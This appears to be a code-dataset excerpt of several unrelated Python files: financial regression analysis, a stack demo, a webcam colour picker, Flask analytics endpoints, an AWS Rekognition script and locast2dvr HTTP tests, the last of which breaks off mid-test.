kv: kv[0][1]):\n dataset.append(v)\n \n X = np.array(dataset)\n axis0,axis1 = X.shape\n x_train = np.zeros((axis0,3)) \n y_train = np.zeros((axis0,1))\n \n x_train[:,0]=1/X[:,1]\n x_train[:,1]=X[:,2]/X[:,1]\n x_train[:,2]=X[:,4]/X[:,1]\n y_train[:,0]=X[:,0]/X[:,1]\n \n reg = LinearRegression(fit_intercept=False)\n reg.fit(x_train[1:-1,:], y_train[1:-1,:])\n \n #print(y_train)\n #print(reg.predict(x_train))\n #show_r2(y_train, reg.predict(x_train))\n #show_r2(y_train[1:-1,:], reg.predict(x_train[1:-1,:]))\n\n #print(reg.coef_)\n #print(reg.intercept_)\n coef=reg.coef_\n intercept=reg.intercept_\n nda_predict = np.zeros((axis0,1))\n nda_predict = coef[0,0] * (1/X[:,1]) + coef[0,1]*((X[:,2]-X[:,3])/X[:,1]) + coef[0,2]*(X[:,4]/X[:,1]) + intercept[0]\n #nda_predict = coef[0,0] * (1/X[:,1]) + coef[0,1]*((X[:,2]-X[:,3])/X[:,1]) + coef[0,2]*(X[:,4]/X[:,1])\n \n acc_predict = np.zeros((axis0, 1))\n acc_predict = y_train - nda_predict \n \n #show_r2(y_train, nda_predict)\n\n return acc_predict[:,0]\n pass \n\n def predict_all(self):\n acc = self.predict()\n cnt = 0\n for k,v in sorted(self.data.items(), key=lambda kv: kv[0][1]):\n self.data_predict[(k[0],k[1])] = \"%0.2f\" % acc[cnt]\n cnt+=1\n\n def __str__(self):\n acc = self.predict()\n cnt = 0\n rs=[]\n for k,v in sorted(self.data.items(), key=lambda kv: kv[0][1]):\n self.data_predict[(k[0],k[1])] = \"%0.2f\" % acc[cnt]\n\n rs.append(\",\".join((k[0],k[1],\"%0.2f\" % acc[cnt])))\n cnt+=1\n return \"\\n\".join(rs)\n\ndef accounting_quality():\n keys=[\"ta\",\"rev\",\"rec\",\"asset\",\"ppe\",\"size\",\"lev\",\"mb\",\"roe\",\"inst\",\"age\",\"turnover\",\"indsize\",\"soe\"]\n acc_dict = collections.defaultdict(AiqObj)\n X = []\n y = []\n with open(\"lavender_paris.csv\") as fd:\n reader = csv.reader(fd)\n for items in reader:\n if reader.line_num == 1:\n continue\n code = items[0]\n year = items[3]\n ta = get(items, 11)\n rev = get(items, 14)\n rec = get(items, 17)\n asset = get(items, 19)\n ppe = get(items, 21)\n size = get(items, 26)\n lev = get(items, 27)\n mb = get(items, 30)\n roe = get(items, 31)\n inst = get(items,32)\n age = get(items, 34)\n turnover = get(items, 35)\n indsize = get(items, 38)\n soe = get(items, 39)\n\n #illegal sample\n if asset == 0 or ta == 0:\n continue\n\n incr(\"total\") \n\n acc_dict[code].add(code, year, [ta, asset, rev, rec, ppe]) \n\n #print(\",\".join((ta, rev, rec, asset, ppe)))\n '''\n tmp=[]\n tmp.append(1/float(ta))\n tmp.append(float(rev)/float(asset))\n tmp.append(float(ppe)/float(asset))\n X.append(tmp)\n y.append([float(ta)/float(asset)])\n \n #x_train,x_test, y_train,y_test = train_test_split(X,y, test_size=0.2,)\n x_train,x_test, y_train,y_test = X,X, y,y\n model = LinearRegression()\n model.fit(x_train,y_train)\n y_predict = model.predict(x_test) \n #print(y_predict)\n print(\"coeficient and intercept\")\n print(y_predict.shape)\n print(model.coef_)\n print(model.intercept_)\n print(\"RMSE\")\n sum_square=0\n for i in range(len(y_predict)):\n sum_square += (y_predict[i][0] - y_test[i][0])**2\n mse=sum_square/len(y_predict)\n print(\"MSE: \" + str(mse))\n print(\"RMSE: \" + str(np.sqrt(mse)))\n '''\n \n show_metrics()\n #for n in acc_dict:\n # print(acc_dict[n])\n for n in acc_dict:\n acc_dict[n].predict_all()\n \n rs=[]\n with open(\"lavender_paris.csv\") as fd, open(\"weekly/out_r2_syn.csv\") as wfd, open(\"sec_level.data\", \"w\") as ofd:\n r2map = {}\n for line in wfd:\n line = line.strip()\n if not line:\n continue\n code, year, r2, syn = line.split(\",\")\n r2map[code,year] = (r2,syn)\n\n reader = csv.reader(fd)\n for items in reader:\n if reader.line_num == 1:\n continue\n code = items[0]\n year = items[3]\n ta = get(items, 11)\n rev = get(items, 14)\n rec = get(items, 17)\n asset = get(items, 19)\n ppe = get(items, 21)\n size = get(items, 26)\n lev = get(items, 27)\n mb = get(items, 30)\n roe = get(items, 31)\n inst = get(items,32)\n age = get(items, 34)\n turnover = get(items, 35)\n indsize = get(items, 38)\n soe = get(items, 39)\n\n #illegal sample\n if asset == 0 or ta == 0 :\n continue\n aiq = acc_dict[code].get(code, year)\n year = year.split(\"-\")[0] \n r2 = 0\n syn = 0\n if (code,year) in r2map:\n r2 = r2map[code,year][0]\n syn = r2map[code,year][1]\n\n rs.append((code, year, r2, syn, aiq, size, lev, mb, roe, inst, age, turnover, indsize, soe))\n \n for item in sorted(rs, key=lambda x:(x[0],x[1])):\n ofd.write(\",\".join([str(x) for x in item]) + \"\\n\")\n \n pass\n\ndef show_r2(y_train, y_predict):\n #y_predict = reg.predict(x_train)\n #rss = np.dot(y_predict - y_train, y_predict - y_train)\n #tss = np.dot(y_train - np.mean(y_train), y_train - np.mean(y_train))\n rss = np.sum((y_predict - y_train)**2)\n tss = np.sum((y_train - np.mean(y_train))**2)\n #print(rss,tss)\n r2 = 1 - rss/tss\n print(\"r2 is:\\t%0.4f\" % r2)\n fig,ax = plt.subplots()\n ax.scatter(y_train, y_predict)\n ax.plot([y_train.min(), y_train.max()], [y_train.min(), y_train.max()], 'k--', lw=4)\n ax.set_xlabel(\"Mmeasured\")\n ax.set_ylabel(\"Predicted\")\n plt.show()\n\n\ndef main():\n accounting_quality()\n pass\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"stockshare/etl_acc_analysis2.py","file_name":"etl_acc_analysis2.py","file_ext":"py","file_size_in_byte":7344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"514604501","text":"import knn\n\nif __name__ == '__main__':\n score1 = knn.run('Ansh')\n score2 = knn.run('Youssef')\n score3 = knn.run('Sanit')\n score4 = knn.run('Yasmeen')\n score5 = knn.run('Alex')\n\n average = (score1 + score2 + score3 + score4 + score5) / 5\n print('Average {}'.format(average))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"551714906","text":"from __future__ import annotations\nfrom ..typecheck import *\n\nfrom ..import ui\nfrom ..import dap\nfrom . import css\n\nfrom .breakpoints_panel import BreakpointsPanel\n\nfrom .input_list_view import InputListView\n\nif TYPE_CHECKING:\n\tfrom ..debugger import Debugger\n\n\nclass DebuggerPanel(ui.div):\n\t\n\ton_settings: Callable[[], Any]\n\n\ton_start: Callable[[], Any]\n\ton_stop: Callable[[], Any]\n\n\ton_pause: Callable[[], Any]\n\ton_continue: Callable[[], Any]\n\n\ton_step_over: Callable[[], Any]\n\ton_step_out: Callable[[], Any]\n\ton_step_in: Callable[[], Any]\n\n\n\tdef __init__(self, debugger: Debugger, on_navigate_to_source: Callable[[dap.SourceLocation], None]) -> None:\n\t\tsuper().__init__()\n\t\tself.debugger = debugger\n\n\t\tself.breakpoints = BreakpointsPanel(debugger.breakpoints, on_navigate_to_source)\n\n\t\tself.debugger.on_session_state_updated.add(lambda session, state: self.dirty())\n\t\tself.debugger.on_session_active.add(self.on_selected_session)\n\t\tself.debugger.on_session_added.add(self.on_selected_session)\n\t\tself.last_active_adapter = None\n\n\tdef on_selected_session(self, session: dap.Session):\n\t\tself.last_active_adapter = session.adapter_configuration\n\t\tself.dirty()\n\n\tdef render(self) -> ui.div.Children:\n\t\titems = [\n\t\t\tDebuggerCommandButton(self.on_settings, ui.Images.shared.settings, 'Settings'),\n\t\t\tDebuggerCommandButton(self.on_start, ui.Images.shared.play, 'Start'),\n\t\t]\n\n\t\tif self.debugger.is_stoppable():\n\t\t\titems.append(DebuggerCommandButton(self.on_stop, ui.Images.shared.stop, 'Stop'))\n\t\telse:\n\t\t\titems.append(DebuggerCommandButton(self.on_stop, ui.Images.shared.stop_disable, 'Stop (Disabled)'))\n\n\t\tif self.debugger.is_running():\n\t\t\titems.append(DebuggerCommandButton(self.on_pause, ui.Images.shared.pause, 'Pause'))\n\t\telif self.debugger.is_paused():\n\t\t\titems.append(DebuggerCommandButton(self.on_continue, ui.Images.shared.resume, 'Continue'))\n\t\telse:\n\t\t\titems.append(DebuggerCommandButton(self.on_pause, ui.Images.shared.pause_disable, 'Pause (Disabled)'))\n\n\t\tif self.debugger.is_paused():\n\t\t\titems.extend([\n\t\t\t\tDebuggerCommandButton(self.on_step_over, ui.Images.shared.down, 'Step Over'),\n\t\t\t\tDebuggerCommandButton(self.on_step_out, ui.Images.shared.left, 'Step Out'),\n\t\t\t\tDebuggerCommandButton(self.on_step_in, ui.Images.shared.right, 'Step In'),\n\t\t\t])\n\t\telse:\n\t\t\titems.extend([\n\t\t\t\tDebuggerCommandButton(self.on_step_over, ui.Images.shared.down_disable, 'Step Over (Disabled)'),\n\t\t\t\tDebuggerCommandButton(self.on_step_out, ui.Images.shared.left_disable, 'Step Out (Disabled)'),\n\t\t\t\tDebuggerCommandButton(self.on_step_in, ui.Images.shared.right_disable, 'Step In (Disabled)'),\n\t\t\t])\n\n\t\t# looks like\n\t\t# current status\n\t\t# breakpoints ...\n\n\t\tif self.debugger.is_active:\n\t\t\tself.last_active_adapter = self.debugger.active.adapter_configuration or self.last_active_adapter\n\n\t\tpanel_items: list[ui.div] = []\n\t\tif self.debugger.is_active:\n\t\t\tsession = self.debugger.active\n\t\t\tstatus = session.status\n\t\t\tif status:\n\t\t\t\tpanel_items.append(ui.div(height=css.row_height)[\n\t\t\t\t\tui.text(status, css=css.label_secondary)\n\t\t\t\t])\n\n\t\tif self.last_active_adapter:\n\t\t\tsettings = self.last_active_adapter.settings(self.debugger)\n\t\t\tfor setting in settings:\n\t\t\t\tpanel_items.append(InputListView(setting))\n\n\t\t\tdiv = self.last_active_adapter.ui(self.debugger)\n\t\t\tif div: panel_items.append(div)\n\n\n\t\tpanel_items.append(self.breakpoints)\n\n\t\treturn [\n\t\t\tui.div()[\n\t\t\t\tui.div(height=css.header_height)[items],\n\t\t\t\tui.div(width=30 - css.rounded_panel.padding_width, height=1000, css=css.rounded_panel)[\n\t\t\t\t\tpanel_items\n\t\t\t\t],\n\t\t\t]\n\t\t]\n\n\nclass DebuggerCommandButton (ui.span):\n\tdef __init__(self, callback: Callable[[], Any], image: ui.Image, title: str) -> None:\n\t\tsuper().__init__()\n\n\t\tself.image = image\n\t\tself.callback = callback\n\t\tself.title = title\n\n\tdef render(self) -> ui.span.Children:\n\t\treturn [\n\t\t\tui.span(css=css.padding)[\n\t\t\t\tui.click(self.callback, title=self.title)[\n\t\t\t\t\tui.icon(self.image),\n\t\t\t\t]\n\t\t\t]\n\t\t]\n","sub_path":"Packages/Debugger/modules/views/debugger_panel.py","file_name":"debugger_panel.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"216938873","text":"from chap4.mapping import DataProcessor\nimport matplotlib.pyplot as plt\n\ndp = DataProcessor()\nmorph_list = dp.return_shaped_list()\n\n# 高速化できるのでは\nword_freq = {}\nfor morph in morph_list:\n if morph['surface'] not in word_freq:\n word_freq.update({morph['surface']:0})\n else:\n word_freq[morph['surface']] += 1\n\nword_freq = sorted(word_freq.items(), key=lambda x:-x[1])\nleft = [i for i in range(10)]\nlabels = [key[0] for key in word_freq[:10]]\nheight = [value[1] for value in word_freq[:10]]\n# 日本語対応\nplt.rcParams['font.family'] = 'AppleGothic'\nplt.bar(left, height, tick_label=labels)\nplt.show()","sub_path":"chap4/37.py","file_name":"37.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"583027651","text":"\n\n'''\n\nImplementation of a basic stack in Python, pop(),push(),peek() and print stack are all implemented\ncan add string or ints/floats to a stack\nkeeps track of the largest/smallest element in the stack in an average of O(1) with a worst case of O(N). While the min\nof max element is NOT the one being popped it will be O(1)\n\nTo Do:\nFix the min/max elements\n\n\n'''\n\n\nclass StackNode:\n def __init__(self,data=None,next=None):\n self.data = data\n self.next = next\nclass Stack:\n def __init__(self):\n self.top = None\n self.size = 0\n self.min_element = None\n self.max_element = None\n def pop(self):\n if(self.size == 0):\n print(\"Stack is already empty!\")\n else:\n self.size-=1\n if(self.size == 0):\n print(\"Popping \", self.top.data)\n self.top = None\n self.min_element = None\n self.max_element = None\n else:\n if(self.top.data == self.max_element or self.top.data == self.min_element):\n print(\"Popping \", self.top.data)\n self.top = self.top.next\n self.find_max_min()\n\n\n else:\n print(\"Popping \", self.top.data)\n self.top = self.top.next\n\n def find_max_min(self):\n smallest = self.top.data\n largest = self.top.data\n current = self.top\n while current:\n if(current.data > largest):\n largest=current.data\n if(smallest > current.data):\n smallest = current.data\n current=current.next\n self.min_element=smallest\n self.max_element=largest\n def RepresentsInt(self,s):\n try:\n int(s)\n return True\n except ValueError:\n return False\n\n def RepresentsFloat(self,s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n def push(self,item,type_element):\n print(\"Pushing \",item)\n self.size += 1\n if(type_element == \"str\"):\n if (self.top is None):\n new_node = StackNode(item)\n self.top = new_node\n else:\n new_node = StackNode(item)\n new_node.next = self.top\n self.top = new_node\n else:\n if (self.RepresentsFloat(item) or self.RepresentsInt(item)):\n if (self.min_element is None and self.max_element is None):\n self.max_element = item\n self.min_element = item\n else:\n if (item > self.max_element):\n self.max_element = item\n if (self.min_element > item):\n self.min_element = item\n if (self.top is None):\n new_node = StackNode(item)\n self.top = new_node\n else:\n new_node = StackNode(item)\n new_node.next = self.top\n self.top = new_node\n\n\n def peek(self):\n if(self.size>0):\n print(\"Top = \",self.top.data)\n else:\n print(\"Empty stack :( \")\n def print_stack(self):\n current = self.top\n print(\"--------TOP--------\")\n while current:\n print(\" \"*(9-len(str(current.data))),current.data)\n print(\" | \")\n print(\" ▼ \")\n current=current.next\n print(\"--------Bottom--------\")\n def is_empty(self):\n if(self.size == 0):\n print(\"Stack is empty\")\n else:\n print(\"Stack is NOT empty\")\n\n def get_min_element(self):\n print(\"Min element in stack is = \", str(self.min_element))\n\n def get_max_element(self):\n print(\"Max element in stack is = \",self.max_element)\n def push_helper(self):\n element = input(\"Enter what you want to push to the stack = \")\n if (self.RepresentsFloat(element) or self.RepresentsInt(element)):\n print(\"Detected Number! \")\n print(\"Do you want the element to be pushed as a number y/n \")\n print(\"Please note: if n, will be pushed as string\")\n y_n = input(\" y/n = \")\n while (y_n.lower()!= 'y' and y_n.lower()!= 'n'):\n print(\"Invalid option, try again\")\n y_n = input(\" y/n = \")\n if(y_n.lower() == 'y'):\n if(self.RepresentsInt(element)):\n self.push(int(element),\"int\")\n\n else:\n self.push(float(element),\"float\")\n else:\n self.push(element, \"str\")\n\n else:\n self.push(element,\"str\")\n\n\n def Exit(self):\n exit(0)\n def Main(self):\n while (True):\n print(\"Welcome to the stack demo. This stack implementation was created by Diego Castro.\")\n print(\"Options = \")\n print(\"1 - Push to stack --- Add an element to the stack\")\n print(\"2 - Peek Top --- Print the top element of the stack \")\n print(\"3 - Pop Top --- Removes the top element of the stack\")\n print(\"4 - Print Stack --- Prints out the entire stack\")\n print(\"5 - Get Min Element --- Prints out the min element of the stack\")\n print(\"6 - Get Max Element --- Prints out the max element of the stack\")\n print(\"7 - Is Empty --- Determines if the stack is empty\")\n print(\"E - Exit \")\n optdict = {\"1\": self.push_helper, \"2\": self.peek, \"3\": self.pop, \"4\": self.print_stack,\n \"5\": self.get_min_element, \"6\": self.get_max_element,\"7\":self.is_empty, \"E\": self.Exit}\n option = input(\"Pick an option = \")\n while option not in optdict.keys():\n print(\"Invalid Option try again!\")\n option = input(\"Pick an option = \")\n optdict[option]()\n\n\n\nstack = Stack()\nstack.Main()\n\n\n\n\n\n\n","sub_path":"stacks.py","file_name":"stacks.py","file_ext":"py","file_size_in_byte":6027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"651019966","text":"import cv2\nimport numpy as np\n\n#webcam quality should also be good\n\ncap=cv2.VideoCapture(0)\nwhile(cap.isOpened()):\n ret, frame=cap.read()\n \n width=cap.get(3) #alternate cap.get(cv2.CAP_PROP_FRAME_WIDTH)\n height=cap.get(4) #alternate cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n h1=int(height/2)\n w1=int(width/2) \n roi=frame[h1-20:h1+20, w1-20:w1+20] #first parmeter is along y axis and seconf parameter is along x axis\n cv2.line(frame, (w1-20, h1-20), (w1-20, h1+20), (0, 0, 255), 1)\n cv2.line(frame, (w1-20, h1-20), (w1+20, h1-20), (0, 0, 255), 1)\n cv2.line(frame, (w1+20, h1-20), (w1+20, h1+20), (0, 0, 255), 1)\n cv2.line(frame, (w1-20, h1+20), (w1+20, h1+20), (0, 0, 255), 1)\n cv2.imshow('roi', roi)\n cv2.imshow('frame', frame)\n\n \n red=green=blue=0\n \n for i in range(h1-19,h1+20):\n for j in range(w1-19,w1+20):\n blue=blue+frame[i, j, 0]\n green=green+frame[i, j, 1]\n red=red+frame[i, j, 2]\n \n \n blueavg=int(blue/1521) # 39x39=1521\n greenavg=int(green/1521)\n redavg=int(red/1521) \n\n #s=cap.get(2) #unknown\n #v=cap.get(1) #unknown\n #cap.set(cv2.CAP_PROP_FPS, 24) ....not working\n \n #print('red ',frame[h1, w1, 2],'green', frame[h1, w1, 1], 'blue',frame[h1, w1, 0])\n print('red ',redavg,'green', greenavg, 'blue',blueavg)\n \n \n if cv2.waitKey(1) & 0xFF==ord('q'):\n print(int(width))\n print(int(height))\n break\n \n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"webcam_color_picker.py","file_name":"webcam_color_picker.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"416151723","text":"# Una empresa telefonica debe facturar el costo de las llamadas telefonicas a sus clientes para esto les cobra por un tiempo de llamada\n# (por minutos pero ademas le adiccna un 0.25% del monto total de la llamada)\n\ncosto_minuto = 50\nadicional = 1.5\n\nminutos_llamadas = int (input('ingrese los minutos de la llamada:'))\n\ncosto = minutos_llamadas * costo_minuto * adicional\nprint ('costo del servicio :', costo)\n","sub_path":"practica n1/ejercicio 11.py","file_name":"ejercicio 11.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"178183349","text":"# -*- coding: utf-8 -*-\n# ----------------------------------------------------------------------------------------------------------------------\n# arclytics_sim\n# user_analytics.py\n#\n# Attributions:\n# [1]\n# ----------------------------------------------------------------------------------------------------------------------\n__author__ = ['Andrew Che <@codeninja55>']\n__license__ = 'MIT'\n__version__ = '2.0.0'\n__status__ = 'production'\n__date__ = '2019.10.02'\n\n\"\"\"user_analytics.py: \n\nThis module provides the resources for analytical querying, manipulation and \ntransformations to display interesting data about Users of the application. \n\"\"\"\n\nfrom os import environ as env\nfrom typing import Tuple\n\nfrom flask import Blueprint\nfrom flask_restful import Resource\n\nfrom arc_api.extensions import api, cache\nfrom arc_api.routes import Routes\nfrom arc_api.mongo_service import MongoService\nfrom arc_api.middleware import authorize_admin_cookie_restful\nfrom arc_logging import AppLogger\n\nuser_analytics_blueprint = Blueprint('user_analytics', __name__)\nlogger = AppLogger(__name__)\n\nDATABASE = env.get('MONGO_APP_DB')\n\n\n# noinspection PyMethodMayBeStatic\nclass UserNerdyData(Resource):\n\n method_decorators = {'get': [authorize_admin_cookie_restful]}\n\n @cache.cached(timeout=120, key_prefix='UserNerdyData.get')\n def get(self, _):\n \"\"\"Uses various MongoDB Queries and Aggregation Pipeline to get some\n interesting aggregation totals on certain collections and embedded\n documents from the `users` collection. Returns all the values from\n these queries so they can be displayed in the \"Nerdy Stats\" section.\n\n Returns:\n A valid HTTP Response with a dictionary of data and a\n status code.\n \"\"\"\n\n # Get total user count\n users_count = MongoService().find(\n db_name=DATABASE,\n collection='users',\n query={}\n ).count()\n\n # Get total saved simulations count\n saved_sim_count = MongoService().find(\n db_name=DATABASE,\n collection='saved_simulations',\n query={}\n ).count()\n\n # Get total shares count\n shares_count = MongoService().find(\n db_name=DATABASE,\n collection='shared_simulations',\n query={}\n ).count()\n\n # Get total feedback count\n feedback_count = MongoService().find(\n db_name=DATABASE,\n collection='feedback',\n query={}\n ).count()\n\n # Get total saved alloys and ratings in one call\n pipeline = [\n {\n '$group': {\n '_id': None,\n 'count_alloys': {'$sum': {'$size': '$saved_alloys'}},\n 'count_ratings': {'$sum': {'$size': '$ratings'}},\n }\n }\n ]\n\n df = MongoService().read_aggregation(\n DATABASE, 'users', pipeline\n )\n\n response = {\n 'status': 'success',\n 'data': {\n 'count': {\n 'users': users_count,\n 'saved_simulations': saved_sim_count,\n 'shared_simulations': shares_count,\n 'feedback': feedback_count,\n 'saved_alloys': df['count_alloys'][0],\n 'ratings': df['count_ratings'][0],\n }\n }\n }\n\n return response, 200\n\n\n# noinspection PyMethodMayBeStatic\nclass UserLoginLocationData(Resource):\n\n method_decorators = {'get': [authorize_admin_cookie_restful]}\n\n def get(self, _):\n \"\"\"Use a MongoDB Pipeline to get all the `LoginData` embedded\n documents from Users and generate a count of their location at\n Login time. We provide the data that allows the front-end to generate\n a MapBox map. That's why we also have to pass the `mapbox_token` in\n the response.\n\n Returns:\n A valid HTTP Response with a dictionary of data and a status code.\n \"\"\"\n pipeline = [\n {'$unwind': '$login_data'},\n {'$project': {\n '_id': 0,\n 'state': '$login_data.state',\n 'country': '$login_data.country',\n 'continent': '$login_data.continent',\n 'timezone': '$login_data.timezone',\n 'latitude': {\n '$arrayElemAt': ['$login_data.geo_point.coordinates', 0]},\n 'longitude': {\n '$arrayElemAt': ['$login_data.geo_point.coordinates', 1]},\n }},\n ]\n\n df = MongoService().read_aggregation(DATABASE, 'users', pipeline)\n\n # Because our Plotly Mapbox requires a latitude and longitude input\n # values, we need to ensure we clean up the missing values.\n df.dropna(subset=['latitude', 'longitude'], axis=0, inplace=True)\n\n # Do a `groupby` on the `dataframe` to ensure we get a count of\n # the values that are grouped with the following properties:\n # [`latitude`, `longitude`, 'country`, `continent`].\n df = df.groupby(\n ['latitude', 'longitude']\n ).size().to_frame(\n 'count'\n ).reset_index()\n\n # This token should be stored in the backend and only sent to the\n # front-end when a request for a Mapbox layer is needed.\n token = env.get('MAPBOX_TOKEN', None)\n\n response = {\n 'status': 'success',\n 'mapbox_token': token,\n 'data': {\n 'latitude': df['latitude'].tolist(),\n 'longitude': df['longitude'].tolist(),\n 'count': df['count'].tolist()\n }\n }\n return response, 200\n\n\n# noinspection PyMethodMayBeStatic\nclass UserProfileData(Resource):\n\n method_decorators = {'get': [authorize_admin_cookie_restful]}\n\n @cache.cached(timeout=120, key_prefix='UserProfileData.get')\n def get(self, _) -> Tuple[dict, int]:\n \"\"\"Uses MongoDB Aggregation Pipeline to get all Profile data from\n the `users` collection and then transforms that to allow building\n a bar chart with `plotly.graph_objects.Bar` traces.\n\n Returns:\n A valid HTTP Response with a dictionary of data and a status code.\n \"\"\"\n\n pipeline = [\n {'$unwind': '$profile'},\n {\n '$project': {\n 'aim': '$profile.aim',\n 'highest_education': '$profile.highest_education',\n 'sci_tech_exp': '$profile.sci_tech_exp',\n 'phase_transform_exp': '$profile.phase_transform_exp',\n '_id': 0\n }\n },\n ]\n\n df = MongoService().read_aggregation(DATABASE, 'users', pipeline)\n\n # Not much data cleanup and transformation required as that was mostly\n # done in the Mongo pipeline already.\n response = {\n 'status': 'success',\n 'plotly_chart_type': 'bar',\n 'data': {\n 'aim': {\n 'x': list(df['aim'].unique()),\n 'y': list(df['aim'].value_counts())\n },\n 'highest_education': {\n 'x': list(df['highest_education'].unique()),\n 'y': list(df['highest_education'].value_counts())\n },\n 'sci_tech_exp': {\n 'x': list(df['sci_tech_exp'].unique()),\n 'y': list(df['sci_tech_exp'].value_counts())\n },\n 'phase_transform_exp': {\n 'x': list(df['phase_transform_exp'].unique()),\n 'y': list(df['phase_transform_exp'].value_counts())\n }\n }\n }\n return response, 200\n\n\napi.add_resource(UserNerdyData, Routes.UserNerdyData.value)\napi.add_resource(UserLoginLocationData, Routes.UserLoginLocationData.value)\napi.add_resource(UserProfileData, Routes.UserProfileData.value)\n","sub_path":"services/arclytics/arc_api/resources/user_analytics.py","file_name":"user_analytics.py","file_ext":"py","file_size_in_byte":8020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"593287509","text":"import sys\nimport boto3\n\nimport s3_util\nimport rekognition_util\n\nimport settings\n\n# global values\naws_profile = 'jmduff'\ncollection_id = 'family'\nbucket='jmduff.rekognition'\n\n# - - pick a folder - - \n#folder='family/'\nfolder='mailman_1/'\n\n\ndef update_session(aws_profile):\n return boto3.session.Session(profile_name = aws_profile)\n\ndef main():\n # args\n config_filename = sys.argv[1] # 0 based\n\n # init the variables in security settings\n # - init only in main()\n # https://stackoverflow.com/questions/13034496/using-global-variables-between-files\n settings.init(config_filename)\n\n # not finsished - use settings.aws_session\n photo_list = s3_util.get_object_list_from_s3(bucket, folder)\n print ('{} photos in the list'.format(len(photo_list)))\n face_count = rekognition_util.add_faces_to_collection(bucket, photo_list, collection_id)\n print (\"FINISHED - face count:\", face_count)\n\nif __name__ == \"__main__\":\n main()","sub_path":"rekognition_add_faces.py","file_name":"rekognition_add_faces.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"139757414","text":"# Even though these imports seem unused, we patch them\nimport json\nimport os\nimport subprocess\nimport traceback\nimport types\nimport unittest\nfrom xml.etree import ElementTree\n\nfrom flask import Flask\nfrom flask.wrappers import Response\nfrom locast2dvr.http.interface import (HTTPInterface, RunningSignal,\n _log_output, _readline, _stream_ffmpeg)\nfrom locast2dvr.utils import Configuration\nfrom mock import MagicMock, PropertyMock, patch, ANY\n\n\nclass TestHTTPInterface(unittest.TestCase):\n def setUp(self) -> None:\n self.config = Configuration({\n \"device_model\": \"DEVICE_MODEL\",\n \"device_version\": \"1.23.4\",\n \"bind_address\": \"5.4.3.2\",\n \"device_firmware\": \"DEVICE_FIRMWARE\",\n \"tuner_count\": 3,\n \"multiplex\": False,\n \"direct\": False\n })\n port = 6077\n self.locast_service = MagicMock()\n self.locast_service.city = \"Chicago\"\n self.locast_service.get_stations = MagicMock()\n self.locast_service.get_stations.return_value = [\n {\n \"name\": \"NAME1\",\n \"callSign\": \"CBS\",\n \"city\": \"Chicago\",\n \"id\": \"1234\",\n \"channel\": \"1.1\",\n },\n {\n \"name\": \"2.1 NAME2\",\n \"city\": \"Chicago\",\n \"id\": \"4321\",\n \"channel\": \"2.1\",\n }\n ]\n self.host_and_port = f'{self.config.bind_address}:{port}'\n app = HTTPInterface(\n self.config, port, \"6c97580f-0440-5be6-a6ce-e648b59490b9\", self.locast_service)\n app.config['DEBUG'] = True\n app.config['TESTING'] = True\n self.client = app.test_client()\n\n def test_initialization(self):\n app = HTTPInterface(\n MagicMock(), 6077, \"6c97580f-0440-5be6-a6ce-e648b59490b9\", MagicMock())\n self.assertIsInstance(app, Flask)\n\n def test_device_xml_valid(self):\n for url in ['/', '/device.xml']:\n xml = self.client.get(url).data.decode('utf-8')\n try:\n ElementTree.fromstring(xml)\n except:\n self.fail(f\"Invalid XML: {xml}\")\n\n @patch(\"locast2dvr.http.interface.render_template\")\n def test_device_xml(self, render_template: MagicMock):\n for url in ['/', '/device.xml']:\n render_template.return_value = \"Hello\"\n self.client.get(url)\n render_template.assert_called_with(\n 'device.xml',\n device_model=\"DEVICE_MODEL\",\n device_version=\"1.23.4\",\n friendly_name=\"Chicago\",\n uid='6c97580f-0440-5be6-a6ce-e648b59490b9',\n host_and_port='5.4.3.2:6077'\n )\n\n def test_discover(self):\n json_data = self.client.get('/discover.json').data.decode('utf-8')\n data = json.loads(json_data)\n\n expected = {\n \"FriendlyName\": \"Chicago\",\n \"Manufacturer\": \"locast2dvr\",\n \"ModelNumber\": \"DEVICE_MODEL\",\n \"FirmwareName\": \"DEVICE_FIRMWARE\",\n \"TunerCount\": 3,\n \"FirmwareVersion\": \"1.23.4\",\n \"DeviceID\": \"6c975818\",\n \"DeviceAuth\": \"locast2dvr\",\n \"BaseURL\": f\"http://5.4.3.2:6077\",\n \"LineupURL\": f\"http://5.4.3.2:6077/lineup.json\"\n }\n self.assertEqual(data, expected)\n\n def test_m3u_no_multiplex(self):\n for url in ['/lineup.m3u', '/tuner.m3u']:\n data = self.client.get(url).data.decode('utf-8')\n\n self.locast_service.get_stations.assert_called()\n expected = (\n '#EXTM3U\\n'\n '#EXTINF:-1 tvg-id=\"channel.1234\" tvg-name=\"CBS\" tvg-logo=\"None\" tvg-chno=\"1.1\" group-title=\"Chicago;Network\", CBS\\n'\n 'http://5.4.3.2:6077/watch/1234.m3u\\n'\n '\\n'\n '#EXTINF:-1 tvg-id=\"channel.4321\" tvg-name=\"NAME2\" tvg-logo=\"None\" tvg-chno=\"2.1\" group-title=\"Chicago\", NAME2\\n'\n 'http://5.4.3.2:6077/watch/4321.m3u\\n\\n'\n )\n\n expected = expected.lstrip()\n self.maxDiff = 1000\n self.assertEqual(data, expected)\n\n def test_m3u_multiplex(self):\n self.config.multiplex = True\n for url in ['/lineup.m3u', '/tuner.m3u']:\n\n data = self.client.get(url).data.decode('utf-8')\n\n self.locast_service.get_stations.assert_called()\n expected = (\n 